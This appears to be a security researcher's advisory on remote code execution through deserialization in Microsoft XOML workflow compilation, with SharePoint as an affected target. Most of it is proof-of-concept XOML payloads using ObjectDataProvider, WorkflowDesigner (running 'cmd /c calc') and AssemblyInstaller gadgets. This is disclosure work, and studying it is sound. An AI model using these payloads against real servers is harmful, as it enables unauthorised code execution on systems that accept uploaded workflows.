By Soroush Dalili (@irsdl)

RCE during loading or compiling Microsoft XOML workflows using deserialization

Workflows could be created by compiling the XOML files using the libraries within the 'System.Workflow' namespace. It was possible to execute code when the XOML file were compiled using deserialization due to the lack of appropriate checks . As a result, applications that accepted tainted workflow files from users such as SharePoint could be affected.

In order to provide examples to exploit this vulnerability, a number of gadgets were used from the https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf article.

The 'Microsoft (R) Windows Workflow Compiler' tool was used as a proof of concept to compile the following XOML files in order to execute code or command. This tool was used with '/nocode /checktypes' in order to show that code could still be executed:

```
wfc test.xoml /nocode:+ /checktypes:+
```

Although only the first example worked on the SharePoint application, it should be noted that it could potentially be vulnerable to command execution by discovering other gadgets within the used libraries or by spending more time into finding a way to load arbitrary namespaces.

Example 1 – using ObjectDataProvider

The following example shows an XOML file that could be used to call a method within an arbitrary library (in this example: 'System.Diagnostics.Process.Start()') without passing any parameters:

```
<SequentialWorkflowActivity x:Class="." x:Name="Workflow2"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
    <Rd:ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                          xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                          xmlns:System="clr-namespace:System;assembly=mscorlib,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                          xmlns:Diag="clr-
namespace:System.Diagnostics;assembly=System, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=b77a5c561934e089"
                          xmlns:Rd="clr-
namespace:System.Windows;Assembly=PresentationFramework, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                          xmlns:ODP="clr-
namespace:System.Windows.Data;Assembly=PresentationFramework, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         >
      <ODP:ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}"
MethodName="Start">
      </ODP:ObjectDataProvider>
    </Rd:ResourceDictionary>
</SequentialWorkflowActivity>
```

By compiling the above file or by sending it to a SharePoint server (including SharePoint Online), the following error message was received showing the code was executed:

```
Cannot start process because a file name has not been provided
```

Although it was not possible to find a way to pass parameters to the targeted method, this could still be dangerous by identifying a method that could perform an important action (such as a method that can reset some settings) on the server-side.

Example 2 – using WorkflowDesigner

The following XOML file could execute a command to open calculator during compile time:

When the class name was invalid, the code was executed twice despite having error:

```
<SequentialWorkflowActivity x:Class="INVALID!" x:Name="foobar"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <sap:WorkflowDesigner
    PropertyInspectorFontAndColorData="&lt;ResourceDictionary
xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;
xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;
xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot;
xmlns:Diag=&quot;clr-
namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider
x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot;
MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;Sys
tem:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc
&lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataP
rovider&gt;&lt;/ResourceDictionary&gt;"
                      xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                          >
  </sap:WorkflowDesigner>
</SequentialWorkflowActivity>
```

When the class name was valid, the code was executed once but with an error:

```
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <sap:WorkflowDesigner
    PropertyInspectorFontAndColorData="&lt;ResourceDictionary
xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;
xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;
xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot;
xmlns:Diag=&quot;clr-
namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider
x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot;
MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;Sys
tem:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc
&lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataP
rovider&gt;&lt;/ResourceDictionary&gt;"
                      xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                          >
  </sap:WorkflowDesigner>
</SequentialWorkflowActivity>
```

Although the above payload worked successfully when compiled in Visual Studio or using the WFC command (even with '/nocode /checktypes' flags), it showed the following error message when tested on SharePoint:

```
The type or namespace name 'Presentation' does not exist in the namespace
'System.Activities' (are you missing an assembly reference?)
```

Example 3 – using AssemblyInstaller:

The following example shows another deserialization gadget that needed an arbitrary DLL file to exist on the server. This DLL file was created using a technique described at https://blog.cylance.com/implications-of-loading-net-assemblies:

```
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobarx"
```

```
                              xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <sci:AssemblyInstaller Path="c:\path\Source.dll" xmlns:sci="clr-
namespace:System.Configuration.Install;assembly=System.Configuration.Install,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
  </sci:AssemblyInstaller>
</SequentialWorkflowActivity>
```

The above payload did not work on SharePoint as it could not find the namespace.